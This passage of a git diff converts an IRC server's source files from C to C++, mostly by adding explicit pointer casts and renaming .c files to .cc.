if(CF_TYPE(args->type) != CF_INT) @@ -929,7 +929,7 @@ static void conf_set_listen_address(void *data) { rb_free(listener_address); - listener_address = rb_strdup(data); + listener_address = rb_strdup((const char *)data); } static int @@ -943,7 +943,7 @@ conf_begin_auth(struct TopConf *tc) RB_DLINK_FOREACH_SAFE(ptr, next_ptr, yy_aconf_list.head) { - free_conf(ptr->data); + free_conf((ConfItem *)ptr->data); rb_dlinkDestroy(ptr, &yy_aconf_list); } @@ -986,7 +986,7 @@ conf_end_auth(struct TopConf *tc) RB_DLINK_FOREACH_SAFE(ptr, next_ptr, yy_aconf_list.head) { - yy_tmp = ptr->data; + yy_tmp = (ConfItem *)ptr->data; if(yy_aconf->passwd) yy_tmp->passwd = rb_strdup(yy_aconf->passwd); @@ -1039,17 +1039,17 @@ conf_set_auth_user(void *data) else yy_tmp = yy_aconf; - if((p = strchr(data, '@'))) + if((p = (char *)strchr((const char *)data, '@'))) { *p++ = '\0'; - yy_tmp->user = rb_strdup(data); + yy_tmp->user = rb_strdup((const char *)data); yy_tmp->host = rb_strdup(p); } else { yy_tmp->user = rb_strdup("*"); - yy_tmp->host = rb_strdup(data); + yy_tmp->host = rb_strdup((const char *)data); } if(yy_aconf != yy_tmp) @@ -1062,7 +1062,7 @@ conf_set_auth_auth_user(void *data) if(yy_aconf->spasswd) memset(yy_aconf->spasswd, 0, strlen(yy_aconf->spasswd)); rb_free(yy_aconf->spasswd); - yy_aconf->spasswd = rb_strdup(data); + yy_aconf->spasswd = rb_strdup((const char *)data); } static void @@ -1071,7 +1071,7 @@ conf_set_auth_passwd(void *data) if(yy_aconf->passwd) memset(yy_aconf->passwd, 0, strlen(yy_aconf->passwd)); rb_free(yy_aconf->passwd); - yy_aconf->passwd = rb_strdup(data); + yy_aconf->passwd = rb_strdup((const char *)data); } static void @@ -1081,13 +1081,13 @@ conf_set_auth_spoof(void *data) char *user = NULL; char *host = NULL; - host = data; + host = (char *)data; /* user@host spoof */ if((p = strchr(host, '@')) != NULL) { *p = '\0'; - user = data; + user = (char *)data; host = p+1; if(EmptyString(user)) @@ -1131,14 +1131,14 @@ conf_set_auth_spoof(void *data) } rb_free(yy_aconf->info.name); - yy_aconf->info.name = rb_strdup(data); + yy_aconf->info.name = rb_strdup((const char *)data); yy_aconf->flags |= CONF_FLAGS_SPOOF_IP; } static void conf_set_auth_flags(void *data) { - conf_parm_t *args = data; + conf_parm_t *args = (conf_parm_t *)data; set_modes_from_table((int *) &yy_aconf->flags, "flag", auth_table, args); } @@ -1148,7 +1148,7 @@ conf_set_auth_redir_serv(void *data) { yy_aconf->flags |= CONF_FLAGS_REDIR; rb_free(yy_aconf->info.name); - yy_aconf->info.name = rb_strdup(data); + yy_aconf->info.name = rb_strdup((const char *)data); } static void @@ -1164,7 +1164,7 @@ static void conf_set_auth_class(void *data) { rb_free(yy_aconf->className); - yy_aconf->className = rb_strdup(data); + yy_aconf->className = rb_strdup((const char *)data); } /* ok, shared_oper handles the stacking, shared_flags handles adding @@ -1178,7 +1178,7 @@ conf_cleanup_shared(struct TopConf *tc) RB_DLINK_FOREACH_SAFE(ptr, next_ptr, yy_shared_list.head) { - free_remote_conf(ptr->data); + free_remote_conf((remote_conf *)ptr->data); rb_dlinkDestroy(ptr, &yy_shared_list); } @@ -1194,7 +1194,7 @@ conf_cleanup_shared(struct TopConf *tc) static void conf_set_shared_oper(void *data) { - conf_parm_t *args = data; + conf_parm_t *args = (conf_parm_t *)data; const char *username; char *p; @@ -1249,7 +1249,7 @@ conf_set_shared_oper(void *data) static void conf_set_shared_flags(void *data) { - conf_parm_t *args = data; + conf_parm_t *args = (conf_parm_t *)data; int flags = 0; rb_dlink_node *ptr, *next_ptr; @@ -1260,7 +1260,7 @@ conf_set_shared_flags(void *data) RB_DLINK_FOREACH_SAFE(ptr, next_ptr, yy_shared_list.head) { - yy_shared = ptr->data; + yy_shared = (remote_conf *)ptr->data; yy_shared->flags = flags; rb_dlinkDestroy(ptr, &yy_shared_list); @@ -1348,10 +1348,10 @@ conf_set_connect_host(void *data) { struct rb_sockaddr_storage addr; - if(rb_inet_pton_sock(data, (struct sockaddr *)&addr) <= 0) + if(rb_inet_pton_sock((const char *)data, (struct sockaddr *)&addr) <= 0) { rb_free(yy_server->connect_host); - yy_server->connect_host = rb_strdup(data); + yy_server->connect_host = rb_strdup((const char *)data); } else if(GET_SS_FAMILY(&addr) == AF_INET) { @@ -1376,10 +1376,10 @@ conf_set_connect_vhost(void *data) { struct rb_sockaddr_storage addr; - if(rb_inet_pton_sock(data, (struct sockaddr *)&addr) <= 0) + if(rb_inet_pton_sock((const char *)data, (struct sockaddr *)&addr) <= 0) { rb_free(yy_server->bind_host); - yy_server->bind_host = rb_strdup(data); + yy_server->bind_host = rb_strdup((const char *)data); } else if(GET_SS_FAMILY(&addr) == AF_INET) { @@ -1408,7 +1408,7 @@ conf_set_connect_send_password(void *data) rb_free(yy_server->spasswd); } - yy_server->spasswd = rb_strdup(data); + yy_server->spasswd = rb_strdup((const char *)data); } static void @@ -1419,7 +1419,7 @@ conf_set_connect_accept_password(void *data) memset(yy_server->passwd, 0, strlen(yy_server->passwd)); rb_free(yy_server->passwd); } - yy_server->passwd = rb_strdup(data); + yy_server->passwd = rb_strdup((const char *)data); } static void @@ -1447,7 +1447,7 @@ conf_set_connect_port(void *data) static void conf_set_connect_aftype(void *data) { - char *aft = data; + char *aft = (char *)data; if(rb_strcasecmp(aft, "ipv4") == 0) yy_server->aftype = AF_INET; @@ -1462,7 +1462,7 @@ conf_set_connect_aftype(void *data) static void conf_set_connect_flags(void *data) { - conf_parm_t *args = data; + conf_parm_t *args = (conf_parm_t *)data; /* note, we allow them to set compressed, then remove it later if * they do and LIBZ isnt available @@ -1481,7 +1481,7 @@ conf_set_connect_hub_mask(void *data) yy_hub = make_remote_conf(); yy_hub->flags = CONF_HUB; - yy_hub->host = rb_strdup(data); + yy_hub->host = rb_strdup((const char *)data); yy_hub->server = rb_strdup(yy_server->name); rb_dlinkAdd(yy_hub, &yy_hub->node, &hubleaf_conf_list); } @@ -1497,7 +1497,7 @@ conf_set_connect_leaf_mask(void *data) yy_leaf = make_remote_conf(); yy_leaf->flags = CONF_LEAF; - yy_leaf->host = rb_strdup(data); + yy_leaf->host = rb_strdup((const char *)data); yy_leaf->server = rb_strdup(yy_server->name); rb_dlinkAdd(yy_leaf, &yy_leaf->node, &hubleaf_conf_list); } @@ -1506,7 +1506,7 @@ static void conf_set_connect_class(void *data) { rb_free(yy_server->class_name); - yy_server->class_name = rb_strdup(data); + yy_server->class_name = rb_strdup((const char *)data); } static void @@ -1514,7 +1514,7 @@ conf_set_exempt_ip(void *data) { struct ConfItem *yy_tmp; - if(parse_netmask(data, NULL, NULL) == HM_HOST) + if(parse_netmask((const char *)data, NULL, NULL) == HM_HOST) { conf_report_error("Ignoring exempt -- invalid exempt::ip."); return; @@ -1522,7 +1522,7 @@ conf_set_exempt_ip(void *data) yy_tmp = make_conf(); yy_tmp->passwd = rb_strdup("*"); - yy_tmp->host = rb_strdup(data); + yy_tmp->host = rb_strdup((const char *)data); yy_tmp->status = CONF_EXEMPTDLINE; add_conf_by_address(yy_tmp->host, CONF_EXEMPTDLINE, NULL, NULL, yy_tmp); } @@ -1534,7 +1534,7 @@ conf_cleanup_cluster(struct TopConf *tc) RB_DLINK_FOREACH_SAFE(ptr, next_ptr, yy_cluster_list.head) { - free_remote_conf(ptr->data); + free_remote_conf((remote_conf *)ptr->data); rb_dlinkDestroy(ptr, &yy_cluster_list); } @@ -1554,7 +1554,7 @@ conf_set_cluster_name(void *data) free_remote_conf(yy_shared); yy_shared = make_remote_conf(); - yy_shared->server = rb_strdup(data); + yy_shared->server = rb_strdup((const char *)data); rb_dlinkAddAlloc(yy_shared, &yy_cluster_list); yy_shared = NULL; @@ -1563,7 +1563,7 @@ conf_set_cluster_name(void *data) static void conf_set_cluster_flags(void *data) { - conf_parm_t *args = data; + conf_parm_t *args = (conf_parm_t *)data; int flags = 0; rb_dlink_node *ptr, *next_ptr; @@ -1574,7 +1574,7 @@ conf_set_cluster_flags(void *data) RB_DLINK_FOREACH_SAFE(ptr, next_ptr, yy_cluster_list.head) { - yy_shared = ptr->data; + yy_shared = (remote_conf *)ptr->data; yy_shared->flags = flags; rb_dlinkAddTail(yy_shared, &yy_shared->node, &cluster_conf_list); rb_dlinkDestroy(ptr, &yy_cluster_list); @@ -1601,7 +1601,7 @@ conf_set_general_havent_read_conf(void *data) static void conf_set_general_hide_error_messages(void *data) { - char *val = data; + char *val = (char *)data; if(rb_strcasecmp(val, "yes") == 0) ConfigFileEntry.hide_error_messages = 2; @@ -1625,7 +1625,7 @@ conf_set_general_kline_delay(void *data) static void conf_set_general_stats_k_oper_only(void *data) { - char *val = data; + char *val = (char *)data; if(rb_strcasecmp(val, "yes") == 0) ConfigFileEntry.stats_k_oper_only = 2; @@ -1640,7 +1640,7 @@ conf_set_general_stats_k_oper_only(void *data) static void conf_set_general_stats_i_oper_only(void *data) { - char *val = data; + char *val = (char *)data; if(rb_strcasecmp(val, "yes") == 0) ConfigFileEntry.stats_i_oper_only = 2; @@ -1713,13 +1713,13 @@ conf_set_general_default_umodes(void *data) static void conf_set_general_oper_umodes(void *data) { - set_modes_from_table(&ConfigFileEntry.oper_umodes, "umode", umode_table, data); + set_modes_from_table(&ConfigFileEntry.oper_umodes, "umode", umode_table, (conf_parm_t *)data); } static void conf_set_general_certfp_method(void *data) { - char *method = data; + char *method = (char *)data; if (!rb_strcasecmp(method, CERTFP_NAME_CERT_SHA1)) ConfigFileEntry.certfp_method = RB_SSL_CERTFP_METH_CERT_SHA1; @@ -1741,7 +1741,7 @@ conf_set_general_certfp_method(void *data) static void conf_set_general_oper_only_umodes(void *data) { - set_modes_from_table(&ConfigFileEntry.oper_only_umodes, "umode", umode_table, data); + set_modes_from_table(&ConfigFileEntry.oper_only_umodes, "umode", umode_table, (conf_parm_t *)data); } static void @@ -1790,7 +1790,7 @@ conf_set_service_name(void *data) char *tmp; int dots = 0; - for(s = data; *s != '\0'; s++) + for(s = (char *)data; *s != '\0'; s++) { if(!IsServChar(*s)) { @@ -1808,14 +1808,14 @@ conf_set_service_name(void *data) return; } - tmp = rb_strdup(data); + tmp = rb_strdup((const char *)data); rb_dlinkAddAlloc(tmp, &service_list); } static int conf_begin_alias(struct TopConf *tc) { - yy_alias = rb_malloc(sizeof(struct alias_entry)); + yy_alias = (alias_entry *)rb_malloc(sizeof(struct alias_entry)); if (conf_cur_block_name != NULL) yy_alias->name = rb_strdup(conf_cur_block_name); @@ -1860,7 +1860,7 @@ conf_set_alias_name(void *data) if (data == NULL || yy_alias == NULL) /* this shouldn't ever happen */ return; - yy_alias->name = rb_strdup(data); + yy_alias->name = rb_strdup((const char *)data); } static void @@ -1869,7 +1869,7 @@ conf_set_alias_target(void *data) if (data == NULL || yy_alias == NULL) /* this shouldn't ever happen */ return; - yy_alias->target = rb_strdup(data); + yy_alias->target = rb_strdup((const char *)data); } static void @@ -1928,13 +1928,13 @@ conf_set_blacklist_host(void *data) } yy_blacklist_iptype |= IPTYPE_IPV4; - yy_blacklist_host = rb_strdup(data); + yy_blacklist_host = rb_strdup((const char *)data); } static void conf_set_blacklist_type(void *data) { - conf_parm_t *args = data; + conf_parm_t *args = (conf_parm_t *)data; /* Don't assume we have either if we got here */ yy_blacklist_iptype = 0; @@ -1961,7 +1961,7 @@ conf_set_blacklist_type(void *data) static void conf_set_blacklist_matches(void *data) { - conf_parm_t *args = data; + conf_parm_t *args = (conf_parm_t *)data; enum filter_t { FILTER_NONE, FILTER_ALL, FILTER_LAST }; for (; args; args = args->next) @@ -2040,7 +2040,7 @@ conf_set_blacklist_reason(void *data) if (yy_blacklist_host && data) { - yy_blacklist_reason = rb_strdup(data); + yy_blacklist_reason = rb_strdup((const char *)data); if (yy_blacklist_iptype & IPTYPE_IPV6) { /* Make sure things fit (magic number 64 = alnum count + dots) @@ -2159,7 +2159,7 @@ conf_end_opm(struct TopConf *tc) end: RB_DLINK_FOREACH_SAFE(ptr, nptr, yy_opm_scanner_list.head) { - struct opm_scanner *scanner = ptr->data; + struct opm_scanner *scanner = (opm_scanner *)ptr->data; if(!fail) create_opm_proxy_scanner(scanner->type, scanner->port); @@ -2195,7 +2195,7 @@ conf_set_opm_listen_address_both(void *data, bool ipv6) { struct rb_sockaddr_storage addr; const char *confstr = (ipv6 ? "opm::listen_ipv6" : "opm::listen_ipv4"); - char *ip = data; + char *ip = (char *)data; if(!rb_inet_pton_sock(ip, (struct sockaddr *)&addr)) { @@ -2320,7 +2320,7 @@ conf_set_opm_listen_port(void *data) static void conf_set_opm_scan_ports_all(void *data, const char *node, const char *type) { - conf_parm_t *args = data; + conf_parm_t *args = (conf_parm_t *)data; for (; args; args = args->next) { rb_dlink_node *ptr; @@ -2341,7 +2341,7 @@ conf_set_opm_scan_ports_all(void *data, const char *node, const char *type) /* Check for duplicates */ RB_DLINK_FOREACH(ptr, yy_opm_scanner_list.head) { - struct opm_scanner *scanner = ptr->data; + struct opm_scanner *scanner = (opm_scanner *)ptr->data; if(scanner->port == args->v.number && strcmp(type, scanner->type) == 0) { @@ -2353,7 +2353,7 @@ conf_set_opm_scan_ports_all(void *data, const char *node, const char *type) if(!dup) { - struct opm_scanner *scanner = rb_malloc(sizeof(struct opm_scanner)); + struct opm_scanner *scanner = (opm_scanner *)rb_malloc(sizeof(struct opm_scanner)); scanner->port = args->v.number; scanner->type = type; rb_dlinkAdd(scanner, &scanner->node, &yy_opm_scanner_list); @@ -2470,8 +2470,8 @@ conf_set_generic_int(void *data, void *location) static void conf_set_generic_string(void *data, int len, void *location) { - char **loc = location; - char *input = data; + char **loc = (char **)location; + char *input = (char *)data; if(len && strlen(input) > (unsigned int)len) input[len] = '\0'; @@ -2589,7 +2589,7 @@ add_conf_item(const char *topconf, const char *name, int type, void (*func) (voi if(find_conf_item(tc, name) != NULL) return -1; - cf = rb_malloc(sizeof(struct ConfEntry)); + cf = (ConfEntry *)rb_malloc(sizeof(struct ConfEntry)); cf->cf_name = name; cf->cf_type = type; diff --git a/ircd/operhash.c b/ircd/operhash.cc similarity index 91% rename from ircd/operhash.c rename to ircd/operhash.cc index fbee05786..9116b5ada 100644 --- a/ircd/operhash.c +++ b/ircd/operhash.cc @@ -65,7 +65,7 @@ operhash_add(const char *name) } len = strlen(name) + 1; - ohash = rb_malloc(sizeof(struct operhash_entry) + len); + ohash = (operhash_entry *)rb_malloc(sizeof(struct operhash_entry) + len); ohash->refcount = 1; memcpy(ohash->name, name, len); rb_radixtree_add(operhash_tree, ohash->name, ohash); @@ -75,13 +75,13 @@ operhash_add(const char *name) const char * operhash_find(const char *name) { - return rb_radixtree_retrieve(operhash_tree, name); + return (const char *)rb_radixtree_retrieve(operhash_tree, name); } void operhash_delete(const char *name) { - struct operhash_entry *ohash = rb_radixtree_retrieve(operhash_tree, name); + struct operhash_entry *ohash = (operhash_entry *)rb_radixtree_retrieve(operhash_tree, name); if(ohash == NULL) return; diff --git a/ircd/packet.c b/ircd/packet.cc similarity index 98% rename from ircd/packet.c rename to ircd/packet.cc index 77210418e..a32a8e11f 100644 --- a/ircd/packet.c +++ b/ircd/packet.cc @@ -185,7 +185,7 @@ flood_recalc(void *unused) RB_DLINK_FOREACH_SAFE(ptr, next, lclient_list.head) { - client_p = ptr->data; + client_p = (Client *)ptr->data; if(rb_unlikely(IsMe(client_p))) continue; @@ -210,7 +210,7 @@ flood_recalc(void *unused) RB_DLINK_FOREACH_SAFE(ptr, next, unknown_list.head) { - client_p = ptr->data; + client_p = (Client *)ptr->data; if(client_p->localClient == NULL) continue; @@ -230,7 +230,7 @@ flood_recalc(void *unused) void read_packet(rb_fde_t * F, void *data) { - struct Client *client_p = data; + struct Client *client_p = (Client *)data; int length = 0; int binary = 0; diff --git a/ircd/parse.c b/ircd/parse.cc similarity index 98% rename from ircd/parse.c rename to ircd/parse.cc index d8f34d615..bed288ae5 100644 --- a/ircd/parse.c +++ b/ircd/parse.cc @@ -131,7 +131,7 @@ parse(struct Client *client_p, char *pbuffer, char *bufend) } else { - mptr = rb_dictionary_retrieve(cmd_dict, msgbuf.cmd); + mptr = (Message *)rb_dictionary_retrieve(cmd_dict, msgbuf.cmd); /* no command or its encap only, error */ if(!mptr || !mptr->cmd) @@ -250,7 +250,7 @@ handle_encap(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *so struct MessageEntry ehandler; MessageHandler handler = 0; - mptr = rb_dictionary_retrieve(cmd_dict, command); + mptr = (Message *)rb_dictionary_retrieve(cmd_dict, command); if(mptr == NULL || mptr->cmd == NULL) return; @@ -276,7 +276,7 @@ handle_encap(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *so void clear_hash_parse() { - cmd_dict = rb_dictionary_create("command", rb_strcasecmp); + cmd_dict = rb_dictionary_create("command", reinterpret_cast(rb_strcasecmp)); } /* mod_add_cmd diff --git a/ircd/privilege.c b/ircd/privilege.cc similarity index 94% rename from ircd/privilege.c rename to ircd/privilege.cc index 6c3216504..f2fb61203 100644 --- a/ircd/privilege.c +++ b/ircd/privilege.cc @@ -73,7 +73,7 @@ privilegeset_set_new(const char *name, const char *privs, PrivilegeFlags flags) } else { - set = rb_malloc(sizeof(struct PrivilegeSet)); + set = (PrivilegeSet *)rb_malloc(sizeof(struct PrivilegeSet)); set->status = 0; set->refs = 0; set->name = rb_strdup(name); @@ -105,7 +105,7 @@ privilegeset_extend(struct PrivilegeSet *parent, const char *name, const char *p } else { - set = rb_malloc(sizeof(struct PrivilegeSet)); + set = (PrivilegeSet *)rb_malloc(sizeof(struct PrivilegeSet)); set->status = 0; set->refs = 0; set->name = rb_strdup(name); @@ -113,7 +113,7 @@ privilegeset_extend(struct PrivilegeSet *parent, const char *name, const char *p rb_dlinkAdd(set, &set->node, &privilegeset_list); } set->flags = flags; - set->privs = rb_malloc(strlen(parent->privs) + 1 + strlen(privs) + 1); + set->privs = (char *)rb_malloc(strlen(parent->privs) + 1 + strlen(privs) + 1); strcpy(set->privs, parent->privs); strcat(set->privs, " "); strcat(set->privs, privs); @@ -203,7 +203,7 @@ privilegeset_report(struct Client *source_p) RB_DLINK_FOREACH(ptr, privilegeset_list.head) { - struct PrivilegeSet *set = ptr->data; + struct PrivilegeSet *set = (PrivilegeSet *)ptr->data; /* use RPL_STATSDEBUG for now -- jilles */ sendto_one_numeric(source_p, RPL_STATSDEBUG, diff --git a/ircd/ratelimit.c b/ircd/ratelimit.cc similarity index 100% rename from ircd/ratelimit.c rename to ircd/ratelimit.cc diff --git a/ircd/reject.c b/ircd/reject.cc similarity index 90% rename from ircd/reject.c rename to ircd/reject.cc index 081d86c43..6a9e20528 100644 --- a/ircd/reject.c +++ b/ircd/reject.cc @@ -78,7 +78,7 @@ reject_exit(void *unused) RB_DLINK_FOREACH_SAFE(ptr, ptr_next, delay_exit.head) { - ddata = ptr->data; + ddata = (delay_t *)ptr->data; rb_write(ddata->F, errbuf, strlen(errbuf)); rb_close(ddata->F); @@ -98,8 +98,8 @@ reject_expires(void *unused) RB_DLINK_FOREACH_SAFE(ptr, next, reject_list.head) { - pnode = ptr->data; - rdata = pnode->data; + pnode = (rb_patricia_node_t *)ptr->data; + rdata = (reject_t *)pnode->data; if(rdata->time + ConfigFileEntry.reject_duration > rb_current_time()) continue; @@ -131,8 +131,8 @@ throttle_size(void) count = 0; RB_DLINK_FOREACH(ptr, throttle_list.head) { - pnode = ptr->data; - t = pnode->data; + pnode = (rb_patricia_node_t *)ptr->data; + t = (throttle_t *)pnode->data; if (t->count > ConfigFileEntry.throttle_count) count++; } @@ -159,7 +159,7 @@ add_reject(struct Client *client_p, const char *mask1, const char *mask2) if((pnode = rb_match_ip(reject_tree, (struct sockaddr *)&client_p->localClient->ip)) != NULL) { - rdata = pnode->data; + rdata = (reject_t *)pnode->data; rdata->time = rb_current_time(); rdata->count++; } @@ -171,7 +171,7 @@ add_reject(struct Client *client_p, const char *mask1, const char *mask2) bitlen = 128; #endif pnode = make_and_lookup_ip(reject_tree, (struct sockaddr *)&client_p->localClient->ip, bitlen); - pnode->data = rdata = rb_malloc(sizeof(reject_t)); + pnode->data = rdata = (reject_t *)rb_malloc(sizeof(reject_t)); rb_dlinkAddTail(pnode, &rdata->rnode, &reject_list); rdata->time = rb_current_time(); rdata->count = 1; @@ -192,12 +192,12 @@ check_reject(rb_fde_t *F, struct sockaddr *addr) pnode = rb_match_ip(reject_tree, addr); if(pnode != NULL) { - rdata = pnode->data; + rdata = (reject_t *)pnode->data; rdata->time = rb_current_time(); if(rdata->count > (unsigned long)ConfigFileEntry.reject_after_count) { - ddata = rb_malloc(sizeof(delay_t)); + ddata = (delay_t *)rb_malloc(sizeof(delay_t)); ServerStats.is_rej++; rb_setselect(F, RB_SELECT_WRITE | RB_SELECT_READ, NULL, NULL); ddata->F = F; @@ -223,7 +223,7 @@ is_reject_ip(struct sockaddr *addr) pnode = rb_match_ip(reject_tree, addr); if(pnode != NULL) { - rdata = pnode->data; + rdata = (reject_t *)pnode->data; if(rdata->count > (unsigned long)ConfigFileEntry.reject_after_count) { @@ -243,8 +243,8 @@ flush_reject(void) RB_DLINK_FOREACH_SAFE(ptr, next, reject_list.head) { - pnode = ptr->data; - rdata = pnode->data; + pnode = (rb_patricia_node_t *)ptr->data; + rdata = (reject_t *)pnode->data; rb_dlinkDelete(ptr, &reject_list); rb_free(rdata); rb_patricia_remove(reject_tree, pnode); @@ -262,7 +262,7 @@ remove_reject_ip(const char *ip) if((pnode = rb_match_string(reject_tree, ip)) != NULL) { - reject_t *rdata = pnode->data; + reject_t *rdata = (reject_t *)pnode->data; rb_dlinkDelete(&rdata->rnode, &reject_list); rb_free(rdata); rb_patricia_remove(reject_tree, pnode); @@ -287,8 +287,8 @@ remove_reject_mask(const char *mask1, const char *mask2) hashv ^= fnv_hash_upper((const unsigned char *)mask2, 32); RB_DLINK_FOREACH_SAFE(ptr, next, reject_list.head) { - pnode = ptr->data; - rdata = pnode->data; + pnode = (rb_patricia_node_t *)ptr->data; + rdata = (reject_t *)pnode->data; if (rdata->mask_hashv == hashv) { rb_dlinkDelete(ptr, &reject_list); @@ -308,7 +308,7 @@ throttle_add(struct sockaddr *addr) if((pnode = rb_match_ip(throttle_tree, addr)) != NULL) { - t = pnode->data; + t = (throttle_t *)pnode->data; if(t->count > ConfigFileEntry.throttle_count) { @@ -325,7 +325,7 @@ throttle_add(struct sockaddr *addr) if(GET_SS_FAMILY(addr) == AF_INET6) bitlen = 128; #endif - t = rb_malloc(sizeof(throttle_t)); + t = (throttle_t *)rb_malloc(sizeof(throttle_t)); t->last = rb_current_time(); t->count = 1; pnode = make_and_lookup_ip(throttle_tree, addr, bitlen); @@ -344,7 +344,7 @@ is_throttle_ip(struct sockaddr *addr) if((pnode = rb_match_ip(throttle_tree, addr)) != NULL) { - t = pnode->data; + t = (throttle_t *)pnode->data; if(t->count > ConfigFileEntry.throttle_count) { duration = t->last + ConfigFileEntry.throttle_duration - rb_current_time(); @@ -363,8 +363,8 @@ flush_throttle(void) RB_DLINK_FOREACH_SAFE(ptr, next, throttle_list.head) { - pnode = ptr->data; - t = pnode->data; + pnode = (rb_patricia_node_t *)ptr->data; + t = (throttle_t *)pnode->data; rb_dlinkDelete(ptr, &throttle_list); rb_free(t); @@ -381,8 +381,8 @@ throttle_expires(void *unused) RB_DLINK_FOREACH_SAFE(ptr, next, throttle_list.head) { - pnode = ptr->data; - t = pnode->data; + pnode = (rb_patricia_node_t *)ptr->data; + t = (throttle_t *)pnode->data; if(t->last + ConfigFileEntry.throttle_duration > rb_current_time()) continue; diff --git a/ircd/restart.c b/ircd/restart.cc similarity index 95% rename from ircd/restart.c rename to ircd/restart.cc index 9bbf60244..b66957633 100644 --- a/ircd/restart.c +++ b/ircd/restart.cc @@ -72,11 +72,11 @@ server_reboot(void) close(i); unlink(pidFileName); - execv(ircd_paths[IRCD_PATH_IRCD_EXEC], (void *)myargv); + execv(ircd_paths[IRCD_PATH_IRCD_EXEC], (char *const *)myargv); /* use this if execv of SPATH fails */ snprintf(path, sizeof(path), "%s%cbin%circd", ConfigFileEntry.dpath, RB_PATH_SEPARATOR, RB_PATH_SEPARATOR); - execv(path, (void *)myargv); + execv(path, (char *const *)myargv); exit(-1); } diff --git a/ircd/s_conf.c b/ircd/s_conf.cc similarity index 98% rename from ircd/s_conf.c rename to ircd/s_conf.cc index f07745c7a..b1b07510e 100644 --- a/ircd/s_conf.c +++ b/ircd/s_conf.cc @@ -54,7 +54,7 @@ struct config_server_hide ConfigServerHide; -extern int yyparse(void); /* defined in y.tab.c */ +extern "C" int yyparse(void); /* defined in y.tab.c */ extern char yy_linebuf[16384]; /* defined in ircd_lexer.l */ static rb_bh *confitem_heap = NULL; @@ -118,7 +118,7 @@ make_conf() { struct ConfItem *aconf; - aconf = rb_bh_alloc(confitem_heap); + aconf = (ConfItem *)rb_bh_alloc(confitem_heap); aconf->status = CONF_ILLEGAL; return (aconf); } @@ -498,7 +498,7 @@ attach_iline(struct Client *client_p, struct ConfItem *aconf) /* find_hostname() returns the head of the list to search */ RB_DLINK_FOREACH(ptr, find_hostname(client_p->host)) { - target_p = ptr->data; + target_p = (Client *)ptr->data; if(irccmp(client_p->host, target_p->orighost) != 0) continue; @@ -812,7 +812,7 @@ set_default_conf(void) ConfigFileEntry.hide_opers_in_whois = 0; if (!alias_dict) - alias_dict = rb_dictionary_create("alias", rb_strcasecmp); + alias_dict = rb_dictionary_create("alias", reinterpret_cast(rb_strcasecmp)); } /* @@ -1052,7 +1052,7 @@ find_prop_ban(unsigned int status, const char *user, const char *host) RB_DLINK_FOREACH(ptr, prop_bans.head) { - aconf = ptr->data; + aconf = (ConfItem *)ptr->data; if((aconf->status & ~CONF_ILLEGAL) == status && (!user || !aconf->user || @@ -1125,7 +1125,7 @@ replace_old_ban(struct ConfItem *aconf) ptr = find_prop_ban(aconf->status, aconf->user, aconf->host); if(ptr != NULL) { - oldconf = ptr->data; + oldconf = (ConfItem *)ptr->data; /* Remember at least as long as the old one. */ if(oldconf->lifetime > aconf->lifetime) aconf->lifetime = oldconf->lifetime; @@ -1154,7 +1154,7 @@ expire_prop_bans(void *list) now = rb_current_time(); RB_DLINK_FOREACH_SAFE(ptr, next_ptr, ((rb_dlink_list *) list)->head) { - aconf = ptr->data; + aconf = (ConfItem *)ptr->data; if(aconf->lifetime <= now || (aconf->hold <= now && @@ -1184,15 +1184,16 @@ expire_prop_bans(void *list) * side effects - expire tklines and moves them between lists */ static void -expire_temp_kd(void *list) +expire_temp_kd(void *list_) { rb_dlink_node *ptr; rb_dlink_node *next_ptr; struct ConfItem *aconf; - RB_DLINK_FOREACH_SAFE(ptr, next_ptr, ((rb_dlink_list *) list)->head) + rb_dlink_list *list = (rb_dlink_list *)list_; + RB_DLINK_FOREACH_SAFE(ptr, next_ptr, list->head) { - aconf = ptr->data; + aconf = (ConfItem *)ptr->data; if(aconf->hold <= rb_current_time()) { @@ -1210,14 +1211,15 @@ expire_temp_kd(void *list) } static void -reorganise_temp_kd(void *list) +reorganise_temp_kd(void *list_) { struct ConfItem *aconf; rb_dlink_node *ptr, *next_ptr; - RB_DLINK_FOREACH_SAFE(ptr, next_ptr, ((rb_dlink_list *) list)->head) + rb_dlink_list *list = (rb_dlink_list *)list_; + RB_DLINK_FOREACH_SAFE(ptr, next_ptr, list->head) { - aconf = ptr->data; + aconf = (ConfItem *)ptr->data; if(aconf->hold < (rb_current_time() + (60 * 60))) { @@ -1420,7 +1422,7 @@ read_conf_files(bool cold) static void free_alias_cb(rb_dictionary_element *ptr, void *unused) { - struct alias_entry *aptr = ptr->data; + struct alias_entry *aptr = (alias_entry *)ptr->data; rb_free(aptr->name); rb_free(aptr->target); @@ -1447,7 +1449,7 @@ clear_out_old_conf(void) */ RB_DLINK_FOREACH(ptr, class_list.head) { - cltmp = ptr->data; + cltmp = (Class *)ptr->data; MaxUsers(cltmp) = -1; } diff --git a/ircd/s_newconf.c b/ircd/s_newconf.cc similarity index 93% rename from ircd/s_newconf.c rename to ircd/s_newconf.cc index 8ff1ab795..825917e08 100644 --- a/ircd/s_newconf.c +++ b/ircd/s_newconf.cc @@ -83,35 +83,35 @@ clear_s_newconf(void) { /* ptr here is ptr->data->node */ rb_dlinkDelete(ptr, &shared_conf_list); - free_remote_conf(ptr->data); + free_remote_conf((remote_conf *)ptr->data); } RB_DLINK_FOREACH_SAFE(ptr, next_ptr, cluster_conf_list.head) { rb_dlinkDelete(ptr, &cluster_conf_list); - free_remote_conf(ptr->data); + free_remote_conf((remote_conf *)ptr->data); } RB_DLINK_FOREACH_SAFE(ptr, next_ptr, hubleaf_conf_list.head) { rb_dlinkDelete(ptr, &hubleaf_conf_list); - free_remote_conf(ptr->data); + free_remote_conf((remote_conf *)ptr->data); } RB_DLINK_FOREACH_SAFE(ptr, next_ptr, oper_conf_list.head) { - free_oper_conf(ptr->data); + free_oper_conf((oper_conf *)ptr->data); rb_dlinkDestroy(ptr, &oper_conf_list); } RB_DLINK_FOREACH_SAFE(ptr, next_ptr, server_conf_list.head) { - server_p = ptr->data; + server_p = (server_conf *)ptr->data; if(!server_p->servers) { rb_dlinkDelete(ptr, &server_conf_list); - free_server_conf(ptr->data); + free_server_conf((server_conf *)ptr->data); } else server_p->flags |= SERVER_ILLEGAL; @@ -126,7 +126,7 @@ clear_s_newconf_bans(void) RB_DLINK_FOREACH_SAFE(ptr, next_ptr, xline_conf_list.head) { - aconf = ptr->data; + aconf = (ConfItem *)ptr->data; if(aconf->hold) continue; @@ -137,7 +137,7 @@ clear_s_newconf_bans(void) 